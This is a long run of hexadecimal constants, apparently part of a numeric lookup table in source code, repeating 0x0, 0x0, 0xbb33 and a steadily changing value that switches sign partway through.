0x0, 0x0, 0xbb33, 0x3c31, 0x0, 0x0, 0xbb33, 0x3c2e,
0x0, 0x0, 0xbb33, 0x3c2b, 0x0, 0x0, 0xbb33, 0x3c27,
0x0, 0x0, 0xbb33, 0x3c24, 0x0, 0x0, 0xbb33, 0x3c21,
0x0, 0x0, 0xbb33, 0x3c1e, 0x0, 0x0, 0xbb33, 0x3c1a,
0x0, 0x0, 0xbb33, 0x3c17, 0x0, 0x0, 0xbb33, 0x3c14,
0x0, 0x0, 0xbb33, 0x3c11, 0x0, 0x0, 0xbb33, 0x3c0d,
0x0, 0x0, 0xbb33, 0x3c0a, 0x0, 0x0, 0xbb33, 0x3c07,
0x0, 0x0, 0xbb33, 0x3c04, 0x0, 0x0, 0xbb33, 0x3c01,
0x0, 0x0, 0xbb33, 0x3bfb, 0x0, 0x0, 0xbb33, 0x3bf5,
0x0, 0x0, 0xbb33, 0x3bef, 0x0, 0x0, 0xbb33, 0x3be8,
0x0, 0x0, 0xbb33, 0x3be2, 0x0, 0x0, 0xbb33, 0x3bdc,
0x0, 0x0, 0xbb33, 0x3bd6, 0x0, 0x0, 0xbb33, 0x3bcf,
0x0, 0x0, 0xbb33, 0x3bc9, 0x0, 0x0, 0xbb33, 0x3bc3,
0x0, 0x0, 0xbb33, 0x3bbd, 0x0, 0x0, 0xbb33, 0x3bb7,
0x0, 0x0, 0xbb33, 0x3bb1, 0x0, 0x0, 0xbb33, 0x3bab,
0x0, 0x0, 0xbb33, 0x3ba5, 0x0, 0x0, 0xbb33, 0x3b9f,
0x0, 0x0, 0xbb33, 0x3b99, 0x0, 0x0, 0xbb33, 0x3b93,
0x0, 0x0, 0xbb33, 0x3b8d, 0x0, 0x0, 0xbb33, 0x3b87,
0x0, 0x0, 0xbb33, 0x3b81, 0x0, 0x0, 0xbb33, 0x3b7b,
0x0, 0x0, 0xbb33, 0x3b75, 0x0, 0x0, 0xbb33, 0x3b70,
0x0, 0x0, 0xbb33, 0x3b6a, 0x0, 0x0, 0xbb33, 0x3b64,
0x0, 0x0, 0xbb33, 0x3b5e, 0x0, 0x0, 0xbb33, 0x3b58,
0x0, 0x0, 0xbb33, 0x3b53, 0x0, 0x0, 0xbb33, 0x3b4d,
0x0, 0x0, 0xbb33, 0x3b47, 0x0, 0x0, 0xbb33, 0x3b41,
0x0, 0x0, 0xbb33, 0x3b3c, 0x0, 0x0, 0xbb33, 0x3b36,
0x0, 0x0, 0xbb33, 0x3b30, 0x0, 0x0, 0xbb33, 0x3b2b,
0x0, 0x0, 0xbb33, 0x3b25, 0x0, 0x0, 0xbb33, 0x3b20,
0x0, 0x0, 0xbb33, 0x3b1a, 0x0, 0x0, 0xbb33, 0x3b14,
0x0, 0x0, 0xbb33, 0x3b0f, 0x0, 0x0, 0xbb33, 0x3b09,
0x0, 0x0, 0xbb33, 0x3b04, 0x0, 0x0, 0xbb33, 0x3afe,
0x0, 0x0, 0xbb33, 0x3af9, 0x0, 0x0, 0xbb33, 0x3af3,
0x0, 0x0, 0xbb33, 0x3aee, 0x0, 0x0, 0xbb33, 0x3ae8,
0x0, 0x0, 0xbb33, 0x3ae3, 0x0, 0x0, 0xbb33, 0x3ade,
0x0, 0x0, 0xbb33, 0x3ad8, 0x0, 0x0, 0xbb33, 0x3ad3,
0x0, 0x0, 0xbb33, 0x3acd, 0x0, 0x0, 0xbb33, 0x3ac8,
0x0, 0x0, 0xbb33, 0x3ac3, 0x0, 0x0, 0xbb33, 0x3abd,
0x0, 0x0, 0xbb33, 0x3ab8, 0x0, 0x0, 0xbb33, 0x3ab3,
0x0, 0x0, 0xbb33, 0x3aae, 0x0, 0x0, 0xbb33, 0x3aa8,
0x0, 0x0, 0xbb33, 0x3aa3, 0x0, 0x0, 0xbb33, 0x3a9e,
0x0, 0x0, 0xbb33, 0x3a99, 0x0, 0x0, 0xbb33, 0x3a93,
0x0, 0x0, 0xbb33, 0x3a8e, 0x0, 0x0, 0xbb33, 0x3a89,
0x0, 0x0, 0xbb33, 0x3a84, 0x0, 0x0, 0xbb33, 0x3a7f,
0x0, 0x0, 0xbb33, 0x3a7a, 0x0, 0x0, 0xbb33, 0x3a75,
0x0, 0x0, 0xbb33, 0x3a70, 0x0, 0x0, 0xbb33, 0x3a6a,
0x0, 0x0, 0xbb33, 0x3a65, 0x0, 0x0, 0xbb33, 0x3a60,
0x0, 0x0, 0xbb33, 0x3a5b, 0x0, 0x0, 0xbb33, 0x3a56,
0x0, 0x0, 0xbb33, 0x3a51, 0x0, 0x0, 0xbb33, 0x3a4c,
0x0, 0x0, 0xbb33, 0x3a47, 0x0, 0x0, 0xbb33, 0x3a42,
0x0, 0x0, 0xbb33, 0x3a3d, 0x0, 0x0, 0xbb33, 0x3a38,
0x0, 0x0, 0xbb33, 0x3a33, 0x0, 0x0, 0xbb33, 0x3a2f,
0x0, 0x0, 0xbb33, 0x3a2a, 0x0, 0x0, 0xbb33, 0x3a25,
0x0, 0x0, 0xbb33, 0x3a20, 0x0, 0x0, 0xbb33, 0x3a1b,
0x0, 0x0, 0xbb33, 0x3a16, 0x0, 0x0, 0xbb33, 0x3a11,
0x0, 0x0, 0xbb33, 0x3a0d, 0x0, 0x0, 0xbb33, 0x3a08,
0x0, 0x0, 0xbb33, 0x3a03, 0x0, 0x0, 0xbb33, 0x39fe,
0x0, 0x0, 0xbb33, 0x39f9, 0x0, 0x0, 0xbb33, 0x39f5,
0x0, 0x0, 0xbb33, 0x39f0, 0x0, 0x0, 0xbb33, 0x39eb,
0x0, 0x0, 0xbb33, 0x39e6, 0x0, 0x0, 0xbb33, 0x39e2,
0x0, 0x0, 0xbb33, 0x39dd, 0x0, 0x0, 0xbb33, 0x39d8,
0x0, 0x0, 0xbb33, 0x39d4, 0x0, 0x0, 0xbb33, 0x39cf,
0x0, 0x0, 0xbb33, 0x39ca, 0x0, 0x0, 0xbb33, 0x39c6,
0x0, 0x0, 0xbb33, 0x39c1, 0x0, 0x0, 0xbb33, 0x39bc,
0x0, 0x0, 0xbb33, 0x39b8, 0x0, 0x0, 0xbb33, 0x39b3,
0x0, 0x0, 0xbb33, 0x39ae, 0x0, 0x0, 0xbb33, 0x39aa,
0x0, 0x0, 0xbb33, 0x39a5, 0x0, 0x0, 0xbb33, 0x39a1,
0x0, 0x0, 0xbb33, 0x399c, 0x0, 0x0, 0xbb33, 0x3998,
0x0, 0x0, 0xbb33, 0x3993, 0x0, 0x0, 0xbb33, 0x398f,
0x0, 0x0, 0xbb33, 0x398a, 0x0, 0x0, 0xbb33, 0x3986,
0x0, 0x0, 0xbb33, 0x3981, 0x0, 0x0, 0xbb33, 0x397d,
0x0, 0x0, 0xbb33, 0x3978, 0x0, 0x0, 0xbb33, 0x3974,
0x0, 0x0, 0xbb33, 0x396f, 0x0, 0x0, 0xbb33, 0x396b,
0x0, 0x0, 0xbb33, 0x3966, 0x0, 0x0, 0xbb33, 0x3962,
0x0, 0x0, 0xbb33, 0x395e, 0x0, 0x0, 0xbb33, 0x3959,
0x0, 0x0, 0xbb33, 0x3955, 0x0, 0x0, 0xbb33, 0x3950,
0x0, 0x0, 0xbb33, 0x394c, 0x0, 0x0, 0xbb33, 0x3948,
0x0, 0x0, 0xbb33, 0x3943, 0x0, 0x0, 0xbb33, 0x393f,
0x0, 0x0, 0xbb33, 0x393b, 0x0, 0x0, 0xbb33, 0x3936,
0x0, 0x0, 0xbb33, 0x3932, 0x0, 0x0, 0xbb33, 0x392e,
0x0, 0x0, 0xbb33, 0x392a, 0x0, 0x0, 0xbb33, 0x3925,
0x0, 0x0, 0xbb33, 0x3921, 0x0, 0x0, 0xbb33, 0x391d,
0x0, 0x0, 0xbb33, 0x3918, 0x0, 0x0, 0xbb33, 0x3914,
0x0, 0x0, 0xbb33, 0x3910, 0x0, 0x0, 0xbb33, 0x390c,
0x0, 0x0, 0xbb33, 0x3908, 0x0, 0x0, 0xbb33, 0x3903,
0x0, 0x0, 0xbb33, 0x38ff, 0x0, 0x0, 0xbb33, 0x38fb,
0x0, 0x0, 0xbb33, 0x38f7, 0x0, 0x0, 0xbb33, 0x38f3,
0x0, 0x0, 0xbb33, 0x38ee, 0x0, 0x0, 0xbb33, 0x38ea,
0x0, 0x0, 0xbb33, 0x38e6, 0x0, 0x0, 0xbb33, 0x38e2,
0x0, 0x0, 0xbb33, 0x38de, 0x0, 0x0, 0xbb33, 0x38da,
0x0, 0x0, 0xbb33, 0x38d6, 0x0, 0x0, 0xbb33, 0x38d2,
0x0, 0x0, 0xbb33, 0x38ce, 0x0, 0x0, 0xbb33, 0x38c9,
0x0, 0x0, 0xbb33, 0x38c5, 0x0, 0x0, 0xbb33, 0x38c1,
0x0, 0x0, 0xbb33, 0x38bd, 0x0, 0x0, 0xbb33, 0x38b9,
0x0, 0x0, 0xbb33, 0x38b5, 0x0, 0x0, 0xbb33, 0x38b1,
0x0, 0x0, 0xbb33, 0x38ad, 0x0, 0x0, 0xbb33, 0x38a9,
0x0, 0x0, 0xbb33, 0x38a5, 0x0, 0x0, 0xbb33, 0x38a1,
0x0, 0x0, 0xbb33, 0x389d, 0x0, 0x0, 0xbb33, 0x3899,
0x0, 0x0, 0xbb33, 0x3895, 0x0, 0x0, 0xbb33, 0x3891,
0x0, 0x0, 0xbb33, 0x388d, 0x0, 0x0, 0xbb33, 0x3889,
0x0, 0x0, 0xbb33, 0x3885, 0x0, 0x0, 0xbb33, 0x3881,
0x0, 0x0, 0xbb33, 0x387d, 0x0, 0x0, 0xbb33, 0x387a,
0x0, 0x0, 0xbb33, 0x3876, 0x0, 0x0, 0xbb33, 0x3872,
0x0, 0x0, 0xbb33, 0x386e, 0x0, 0x0, 0xbb33, 0x386a,
0x0, 0x0, 0xbb33, 0x3866, 0x0, 0x0, 0xbb33, 0x3862,
0x0, 0x0, 0xbb33, 0x385e, 0x0, 0x0, 0xbb33, 0x385a,
0x0, 0x0, 0xbb33, 0x3857, 0x0, 0x0, 0xbb33, 0x3853,
0x0, 0x0, 0xbb33, 0x384f, 0x0, 0x0, 0xbb33, 0x384b,
0x0, 0x0, 0xbb33, 0x3847, 0x0, 0x0, 0xbb33, 0x3843,
0x0, 0x0, 0xbb33, 0x3840, 0x0, 0x0, 0xbb33, 0x383c,
0x0, 0x0, 0xbb33, 0x3838, 0x0, 0x0, 0xbb33, 0x3834,
0x0, 0x0, 0xbb33, 0x3830, 0x0, 0x0, 0xbb33, 0x382d,
0x0, 0x0, 0xbb33, 0x3829, 0x0, 0x0, 0xbb33, 0x3825,
0x0, 0x0, 0xbb33, 0x3821, 0x0, 0x0, 0xbb33, 0x381e,
0x0, 0x0, 0xbb33, 0x381a, 0x0, 0x0, 0xbb33, 0x3816,
0x0, 0x0, 0xbb33, 0x3812, 0x0, 0x0, 0xbb33, 0x380f,
0x0, 0x0, 0xbb33, 0x380b, 0x0, 0x0, 0xbb33, 0x3807,
0x0, 0x0, 0xbb33, 0x3803, 0x0, 0x0, 0xbb33, 0x37ff,
0x0, 0x0, 0xbb33, 0x37f8, 0x0, 0x0, 0xbb33, 0x37f1,
0x0, 0x0, 0xbb33, 0x37e9, 0x0, 0x0, 0xbb33, 0x37e2,
0x0, 0x0, 0xbb33, 0x37db, 0x0, 0x0, 0xbb33, 0x37d3,
0x0, 0x0, 0xbb33, 0x37cc, 0x0, 0x0, 0xbb33, 0x37c5,
0x0, 0x0, 0xbb33, 0x37bd, 0x0, 0x0, 0xbb33, 0x37b6,
0x0, 0x0, 0xbb33, 0x37af, 0x0, 0x0, 0xbb33, 0x37a8,
0x0, 0x0, 0xbb33, 0x37a0, 0x0, 0x0, 0xbb33, 0x3799,
0x0, 0x0, 0xbb33, 0x3792, 0x0, 0x0, 0xbb33, 0x378b,
0x0, 0x0, 0xbb33, 0x3783, 0x0, 0x0, 0xbb33, 0x377c,
0x0, 0x0, 0xbb33, 0x3775, 0x0, 0x0, 0xbb33, 0x376e,
0x0, 0x0, 0xbb33, 0x3767, 0x0, 0x0, 0xbb33, 0x3760,
0x0, 0x0, 0xbb33, 0x3758, 0x0, 0x0, 0xbb33, 0x3751,
0x0, 0x0, 0xbb33, 0x374a, 0x0, 0x0, 0xbb33, 0x3743,
0x0, 0x0, 0xbb33, 0x373c, 0x0, 0x0, 0xbb33, 0x3735,
0x0, 0x0, 0xbb33, 0x372e, 0x0, 0x0, 0xbb33, 0x3727,
0x0, 0x0, 0xbb33, 0x3720, 0x0, 0x0, 0xbb33, 0x3719,
0x0, 0x0, 0xbb33, 0x3712, 0x0, 0x0, 0xbb33, 0x370b,
0x0, 0x0, 0xbb33, 0x3704, 0x0, 0x0, 0xbb33, 0x36fd,
0x0, 0x0, 0xbb33, 0x36f6, 0x0, 0x0, 0xbb33, 0x36ef,
0x0, 0x0, 0xbb33, 0x36e8, 0x0, 0x0, 0xbb33, 0x36e1,
0x0, 0x0, 0xbb33, 0x36da, 0x0, 0x0, 0xbb33, 0x36d3,
0x0, 0x0, 0xbb33, 0x36cc, 0x0, 0x0, 0xbb33, 0x36c5,
0x0, 0x0, 0xbb33, 0x36be, 0x0, 0x0, 0xbb33, 0x36b7,
0x0, 0x0, 0xbb33, 0x36b0, 0x0, 0x0, 0xbb33, 0x36aa,
0x0, 0x0, 0xbb33, 0x36a3, 0x0, 0x0, 0xbb33, 0x369c,
0x0, 0x0, 0xbb33, 0x3695, 0x0, 0x0, 0xbb33, 0x368e,
0x0, 0x0, 0xbb33, 0x3687, 0x0, 0x0, 0xbb33, 0x3681,
0x0, 0x0, 0xbb33, 0x367a, 0x0, 0x0, 0xbb33, 0x3673,
0x0, 0x0, 0xbb33, 0x366c, 0x0, 0x0, 0xbb33, 0x3665,
0x0, 0x0, 0xbb33, 0x365f, 0x0, 0x0, 0xbb33, 0x3658,
0x0, 0x0, 0xbb33, 0x3651, 0x0, 0x0, 0xbb33, 0x364a,
0x0, 0x0, 0xbb33, 0x3644, 0x0, 0x0, 0xbb33, 0x363d,
0x0, 0x0, 0xbb33, 0x3636, 0x0, 0x0, 0xbb33, 0x3630,
0x0, 0x0, 0xbb33, 0x3629, 0x0, 0x0, 0xbb33, 0x3622,
0x0, 0x0, 0xbb33, 0x361c, 0x0, 0x0, 0xbb33, 0x3615,
0x0, 0x0, 0xbb33, 0x360e, 0x0, 0x0, 0xbb33, 0x3608,
0x0, 0x0, 0xbb33, 0x3601, 0x0, 0x0, 0xbb33, 0x35fa,
0x0, 0x0, 0xbb33, 0x35f4, 0x0, 0x0, 0xbb33, 0x35ed,
0x0, 0x0, 0xbb33, 0x35e6, 0x0, 0x0, 0xbb33, 0x35e0,
0x0, 0x0, 0xbb33, 0x35d9, 0x0, 0x0, 0xbb33, 0x35d3,
0x0, 0x0, 0xbb33, 0x35cc, 0x0, 0x0, 0xbb33, 0x35c6,
0x0, 0x0, 0xbb33, 0x35bf, 0x0, 0x0, 0xbb33, 0x35b8,
0x0, 0x0, 0xbb33, 0x35b2, 0x0, 0x0, 0xbb33, 0x35ab,
0x0, 0x0, 0xbb33, 0x35a5, 0x0, 0x0, 0xbb33, 0x359e,
0x0, 0x0, 0xbb33, 0x3598, 0x0, 0x0, 0xbb33, 0x3591,
0x0, 0x0, 0xbb33, 0x358b, 0x0, 0x0, 0xbb33, 0x3584,
0x0, 0x0, 0xbb33, 0x357e, 0x0, 0x0, 0xbb33, 0x3577,
0x0, 0x0, 0xbb33, 0x3571, 0x0, 0x0, 0xbb33, 0x356a,
0x0, 0x0, 0xbb33, 0x3564, 0x0, 0x0, 0xbb33, 0x355d,
0x0, 0x0, 0xbb33, 0x3557, 0x0, 0x0, 0xbb33, 0x3551,
0x0, 0x0, 0xbb33, 0x354a, 0x0, 0x0, 0xbb33, 0x3544,
0x0, 0x0, 0xbb33, 0x353d, 0x0, 0x0, 0xbb33, 0x3537,
0x0, 0x0, 0xbb33, 0x3531, 0x0, 0x0, 0xbb33, 0x352a,
0x0, 0x0, 0xbb33, 0x3524, 0x0, 0x0, 0xbb33, 0x351d,
0x0, 0x0, 0xbb33, 0x3517, 0x0, 0x0, 0xbb33, 0x3511,
0x0, 0x0, 0xbb33, 0x350a, 0x0, 0x0, 0xbb33, 0x3504,
0x0, 0x0, 0xbb33, 0x34fe, 0x0, 0x0, 0xbb33, 0x34f7,
0x0, 0x0, 0xbb33, 0x34f1, 0x0, 0x0, 0xbb33, 0x34eb,
0x0, 0x0, 0xbb33, 0x34e4, 0x0, 0x0, 0xbb33, 0x34de,
0x0, 0x0, 0xbb33, 0x34d8, 0x0, 0x0, 0xbb33, 0x34d2,
0x0, 0x0, 0xbb33, 0x34cb, 0x0, 0x0, 0xbb33, 0x34c5,
0x0, 0x0, 0xbb33, 0x34bf, 0x0, 0x0, 0xbb33, 0x34b8,
0x0, 0x0, 0xbb33, 0x34b2, 0x0, 0x0, 0xbb33, 0x34ac,
0x0, 0x0, 0xbb33, 0x34a6, 0x0, 0x0, 0xbb33, 0x349f,
0x0, 0x0, 0xbb33, 0x3499, 0x0, 0x0, 0xbb33, 0x3493,
0x0, 0x0, 0xbb33, 0x348d, 0x0, 0x0, 0xbb33, 0x3487,
0x0, 0x0, 0xbb33, 0x3480, 0x0, 0x0, 0xbb33, 0x347a,
0x0, 0x0, 0xbb33, 0x3474, 0x0, 0x0, 0xbb33, 0x346e,
0x0, 0x0, 0xbb33, 0x3468, 0x0, 0x0, 0xbb33, 0x3461,
0x0, 0x0, 0xbb33, 0x345b, 0x0, 0x0, 0xbb33, 0x3455,
0x0, 0x0, 0xbb33, 0x344f, 0x0, 0x0, 0xbb33, 0x3449,
0x0, 0x0, 0xbb33, 0x3443, 0x0, 0x0, 0xbb33, 0x343c,
0x0, 0x0, 0xbb33, 0x3436, 0x0, 0x0, 0xbb33, 0x3430,
0x0, 0x0, 0xbb33, 0x342a, 0x0, 0x0, 0xbb33, 0x3424,
0x0, 0x0, 0xbb33, 0x341e, 0x0, 0x0, 0xbb33, 0x3418,
0x0, 0x0, 0xbb33, 0x3412, 0x0, 0x0, 0xbb33, 0x340b,
0x0, 0x0, 0xbb33, 0x3405, 0x0, 0x0, 0xbb33, 0x33fe,
0x0, 0x0, 0xbb33, 0x33f2, 0x0, 0x0, 0xbb33, 0x33e6,
0x0, 0x0, 0xbb33, 0x33da, 0x0, 0x0, 0xbb33, 0x33ce,
0x0, 0x0, 0xbb33, 0x33c2, 0x0, 0x0, 0xbb33, 0x33b6,
0x0, 0x0, 0xbb33, 0x33a9, 0x0, 0x0, 0xbb33, 0x339d,
0x0, 0x0, 0xbb33, 0x3391, 0x0, 0x0, 0xbb33, 0x3385,
0x0, 0x0, 0xbb33, 0x3379, 0x0, 0x0, 0xbb33, 0x336d,
0x0, 0x0, 0xbb33, 0x3361, 0x0, 0x0, 0xbb33, 0x3355,
0x0, 0x0, 0xbb33, 0x3349, 0x0, 0x0, 0xbb33, 0x333d,
0x0, 0x0, 0xbb33, 0x3331, 0x0, 0x0, 0xbb33, 0x3325,
0x0, 0x0, 0xbb33, 0x3319, 0x0, 0x0, 0xbb33, 0x330d,
0x0, 0x0, 0xbb33, 0x3301, 0x0, 0x0, 0xbb33, 0x32f5,
0x0, 0x0, 0xbb33, 0x32e9, 0x0, 0x0, 0xbb33, 0x32dd,
0x0, 0x0, 0xbb33, 0x32d1, 0x0, 0x0, 0xbb33, 0x32c5,
0x0, 0x0, 0xbb33, 0x32b9, 0x0, 0x0, 0xbb33, 0x32ad,
0x0, 0x0, 0xbb33, 0x32a1, 0x0, 0x0, 0xbb33, 0x3295,
0x0, 0x0, 0xbb33, 0x3289, 0x0, 0x0, 0xbb33, 0x327e,
0x0, 0x0, 0xbb33, 0x3272, 0x0, 0x0, 0xbb33, 0x3266,
0x0, 0x0, 0xbb33, 0x325a, 0x0, 0x0, 0xbb33, 0x324e,
0x0, 0x0, 0xbb33, 0x3242, 0x0, 0x0, 0xbb33, 0x3236,
0x0, 0x0, 0xbb33, 0x322b, 0x0, 0x0, 0xbb33, 0x321f,
0x0, 0x0, 0xbb33, 0x3213, 0x0, 0x0, 0xbb33, 0x3207,
0x0, 0x0, 0xbb33, 0x31fb, 0x0, 0x0, 0xbb33, 0x31f0,
0x0, 0x0, 0xbb33, 0x31e4, 0x0, 0x0, 0xbb33, 0x31d8,
0x0, 0x0, 0xbb33, 0x31cc, 0x0, 0x0, 0xbb33, 0x31c0,
0x0, 0x0, 0xbb33, 0x31b5, 0x0, 0x0, 0xbb33, 0x31a9,
0x0, 0x0, 0xbb33, 0x319d, 0x0, 0x0, 0xbb33, 0x3191,
0x0, 0x0, 0xbb33, 0x3186, 0x0, 0x0, 0xbb33, 0x317a,
0x0, 0x0, 0xbb33, 0x316e, 0x0, 0x0, 0xbb33, 0x3163,
0x0, 0x0, 0xbb33, 0x3157, 0x0, 0x0, 0xbb33, 0x314b,
0x0, 0x0, 0xbb33, 0x313f, 0x0, 0x0, 0xbb33, 0x3134,
0x0, 0x0, 0xbb33, 0x3128, 0x0, 0x0, 0xbb33, 0x311c,
0x0, 0x0, 0xbb33, 0x3111, 0x0, 0x0, 0xbb33, 0x3105,
0x0, 0x0, 0xbb33, 0x30f9, 0x0, 0x0, 0xbb33, 0x30ee,
0x0, 0x0, 0xbb33, 0x30e2, 0x0, 0x0, 0xbb33, 0x30d7,
0x0, 0x0, 0xbb33, 0x30cb, 0x0, 0x0, 0xbb33, 0x30bf,
0x0, 0x0, 0xbb33, 0x30b4, 0x0, 0x0, 0xbb33, 0x30a8,
0x0, 0x0, 0xbb33, 0x309c, 0x0, 0x0, 0xbb33, 0x3091,
0x0, 0x0, 0xbb33, 0x3085, 0x0, 0x0, 0xbb33, 0x307a,
0x0, 0x0, 0xbb33, 0x306e, 0x0, 0x0, 0xbb33, 0x3063,
0x0, 0x0, 0xbb33, 0x3057, 0x0, 0x0, 0xbb33, 0x304b,
0x0, 0x0, 0xbb33, 0x3040, 0x0, 0x0, 0xbb33, 0x3034,
0x0, 0x0, 0xbb33, 0x3029, 0x0, 0x0, 0xbb33, 0x301d,
0x0, 0x0, 0xbb33, 0x3012, 0x0, 0x0, 0xbb33, 0x3006,
0x0, 0x0, 0xbb33, 0x2ff5, 0x0, 0x0, 0xbb33, 0x2fde,
0x0, 0x0, 0xbb33, 0x2fc7, 0x0, 0x0, 0xbb33, 0x2fb0,
0x0, 0x0, 0xbb33, 0x2f99, 0x0, 0x0, 0xbb33, 0x2f82,
0x0, 0x0, 0xbb33, 0x2f6b, 0x0, 0x0, 0xbb33, 0x2f54,
0x0, 0x0, 0xbb33, 0x2f3d, 0x0, 0x0, 0xbb33, 0x2f26,
0x0, 0x0, 0xbb33, 0x2f0f, 0x0, 0x0, 0xbb33, 0x2ef8,
0x0, 0x0, 0xbb33, 0x2ee1, 0x0, 0x0, 0xbb33, 0x2eca,
0x0, 0x0, 0xbb33, 0x2eb3, 0x0, 0x0, 0xbb33, 0x2e9d,
0x0, 0x0, 0xbb33, 0x2e86, 0x0, 0x0, 0xbb33, 0x2e6f,
0x0, 0x0, 0xbb33, 0x2e58, 0x0, 0x0, 0xbb33, 0x2e41,
0x0, 0x0, 0xbb33, 0x2e2a, 0x0, 0x0, 0xbb33, 0x2e13,
0x0, 0x0, 0xbb33, 0x2dfc, 0x0, 0x0, 0xbb33, 0x2de5,
0x0, 0x0, 0xbb33, 0x2dcf, 0x0, 0x0, 0xbb33, 0x2db8,
0x0, 0x0, 0xbb33, 0x2da1, 0x0, 0x0, 0xbb33, 0x2d8a,
0x0, 0x0, 0xbb33, 0x2d73, 0x0, 0x0, 0xbb33, 0x2d5c,
0x0, 0x0, 0xbb33, 0x2d46, 0x0, 0x0, 0xbb33, 0x2d2f,
0x0, 0x0, 0xbb33, 0x2d18, 0x0, 0x0, 0xbb33, 0x2d01,
0x0, 0x0, 0xbb33, 0x2cea, 0x0, 0x0, 0xbb33, 0x2cd4,
0x0, 0x0, 0xbb33, 0x2cbd, 0x0, 0x0, 0xbb33, 0x2ca6,
0x0, 0x0, 0xbb33, 0x2c8f, 0x0, 0x0, 0xbb33, 0x2c79,
0x0, 0x0, 0xbb33, 0x2c62, 0x0, 0x0, 0xbb33, 0x2c4b,
0x0, 0x0, 0xbb33, 0x2c34, 0x0, 0x0, 0xbb33, 0x2c1e,
0x0, 0x0, 0xbb33, 0x2c07, 0x0, 0x0, 0xbb33, 0x2be0,
0x0, 0x0, 0xbb33, 0x2bb3, 0x0, 0x0, 0xbb33, 0x2b85,
0x0, 0x0, 0xbb33, 0x2b58, 0x0, 0x0, 0xbb33, 0x2b2b,
0x0, 0x0, 0xbb33, 0x2afd, 0x0, 0x0, 0xbb33, 0x2ad0,
0x0, 0x0, 0xbb33, 0x2aa2, 0x0, 0x0, 0xbb33, 0x2a75,
0x0, 0x0, 0xbb33, 0x2a48, 0x0, 0x0, 0xbb33, 0x2a1a,
0x0, 0x0, 0xbb33, 0x29ed, 0x0, 0x0, 0xbb33, 0x29bf,
0x0, 0x0, 0xbb33, 0x2992, 0x0, 0x0, 0xbb33, 0x2965,
0x0, 0x0, 0xbb33, 0x2937, 0x0, 0x0, 0xbb33, 0x290a,
0x0, 0x0, 0xbb33, 0x28dd, 0x0, 0x0, 0xbb33, 0x28af,
0x0, 0x0, 0xbb33, 0x2882, 0x0, 0x0, 0xbb33, 0x2855,
0x0, 0x0, 0xbb33, 0x2828, 0x0, 0x0, 0xbb33, 0x27f5,
0x0, 0x0, 0xbb33, 0x279a, 0x0, 0x0, 0xbb33, 0x273f,
0x0, 0x0, 0xbb33, 0x26e5, 0x0, 0x0, 0xbb33, 0x268a,
0x0, 0x0, 0xbb33, 0x2630, 0x0, 0x0, 0xbb33, 0x25d5,
0x0, 0x0, 0xbb33, 0x257b, 0x0, 0x0, 0xbb33, 0x2520,
0x0, 0x0, 0xbb33, 0x24c6, 0x0, 0x0, 0xbb33, 0x246b,
0x0, 0x0, 0xbb33, 0x2411, 0x0, 0x0, 0xbb33, 0x236c,
0x0, 0x0, 0xbb33, 0x22b7, 0x0, 0x0, 0xbb33, 0x2202,
0x0, 0x0, 0xbb33, 0x214d, 0x0, 0x0, 0xbb33, 0x2098,
0x0, 0x0, 0xbb33, 0x1fc7, 0x0, 0x0, 0xbb33, 0x1e5d,
0x0, 0x0, 0xbb33, 0x1cf3, 0x0, 0x0, 0xbb33, 0x1b12,
0x0, 0x0, 0xbb33, 0x183e, 0x0, 0x0, 0xbb33, 0x11a8,
0x0, 0x0, 0xbb33, 0x91a8, 0x0, 0x0, 0xbb33, 0x983e,
0x0, 0x0, 0xbb33, 0x9b12, 0x0, 0x0, 0xbb33, 0x9cf3,
0x0, 0x0, 0xbb33, 0x9e5d, 0x0, 0x0, 0xbb33, 0x9fc7,
0x0, 0x0, 0xbb33, 0xa098, 0x0, 0x0, 0xbb33, 0xa14d,
0x0, 0x0, 0xbb33, 0xa202, 0x0, 0x0, 0xbb33, 0xa2b7,
0x0, 0x0, 0xbb33, 0xa36c, 0x0, 0x0, 0xbb33, 0xa411,
0x0, 0x0, 0xbb33, 0xa46b, 0x0, 0x0, 0xbb33, 0xa4c6,
0x0, 0x0, 0xbb33, 0xa520, 0x0, 0x0, 0xbb33, 0xa57b,
0x0, 0x0, 0xbb33, 0xa5d5, 0x0, 0x0, 0xbb33, 0xa630,
0x0, 0x0, 0xbb33, 0xa68a, 0x0, 0x0, 0xbb33, 0xa6e5,
0x0, 0x0, 0xbb33, 0xa73f, 0x0, 0x0, 0xbb33, 0xa79a,
0x0, 0x0, 0xbb33, 0xa7f5, 0x0, 0x0, 0xbb33, 0xa828,
0x0, 0x0, 0xbb33, 0xa855, 0x0, 0x0, 0xbb33, 0xa882,
0x0, 0x0, 0xbb33, 0xa8af, 0x0, 0x0, 0xbb33, 0xa8dd,
0x0, 0x0, 0xbb33, 0xa90a, 0x0, 0x0, 0xbb33, 0xa937,
0x0, 0x0, 0xbb33, 0xa965, 0x0, 0x0, 0xbb33, 0xa992,
0x0, 0x0, 0xbb33, 0xa9bf, 0x0, 0x0, 0xbb33, 0xa9ed,
0x0, 0x0, 0xbb33, 0xaa1a, 0x0, 0x0, 0xbb33, 0xaa48,
0x0, 0x0, 0xbb33, 0xaa75, 0x0, 0x0, 0xbb33, 0xaaa2,
0x0, 0x0, 0xbb33, 0xaad0, 0x0, 0x0, 0xbb33, 0xaafd,
0x0, 0x0, 0xbb33, 0xab2b, 0x0, 0x0, 0xbb33, 0xab58,
0x0, 0x0, 0xbb33, 0xab85, 0x0, 0x0, 0xbb33, 0xabb3,
0x0, 0x0, 0xbb33, 0xabe0, 0x0, 0x0, 0xbb33, 0xac07,
0x0, 0x0, 0xbb33, 0xac1e, 0x0, 0x0, 0xbb33, 0xac34,
0x0, 0x0, 0xbb33, 0xac4b, 0x0, 0x0, 0xbb33, 0xac62,
0x0, 0x0, 0xbb33, 0xac79, 0x0, 0x0, 0xbb33, 0xac8f,
0x0, 0x0, 0xbb33, 0xaca6, 0x0, 0x0, 0xbb33, 0xacbd,
0x0, 0x0, 0xbb33, 0xacd4, 0x0, 0x0, 0xbb33, 0xacea,
0x0, 0x0, 0xbb33, 0xad01, 0x0, 0x0, 0xbb33, 0xad18,
0x0, 0x0, 0xbb33, 0xad2f, 0x0, 0x0, 0xbb33, 0xad46,
0x0, 0x0, 0xbb33, 0xad5c, 0x0, 0x0, 0xbb33, 0xad73,
0x0, 0x0, 0xbb33, 0xad8a, 0x0, 0x0, 0xbb33, 0xada1,
0x0, 0x0, 0xbb33, 0xadb8, 0x0, 0x0, 0xbb33, 0xadcf,
0x0, 0x0, 0xbb33, 0xade5, 0x0, 0x0, 0xbb33, 0xadfc,
0x0, 0x0, 0xbb33, 0xae13, 0x0, 0x0, 0xbb33, 0xae2a,
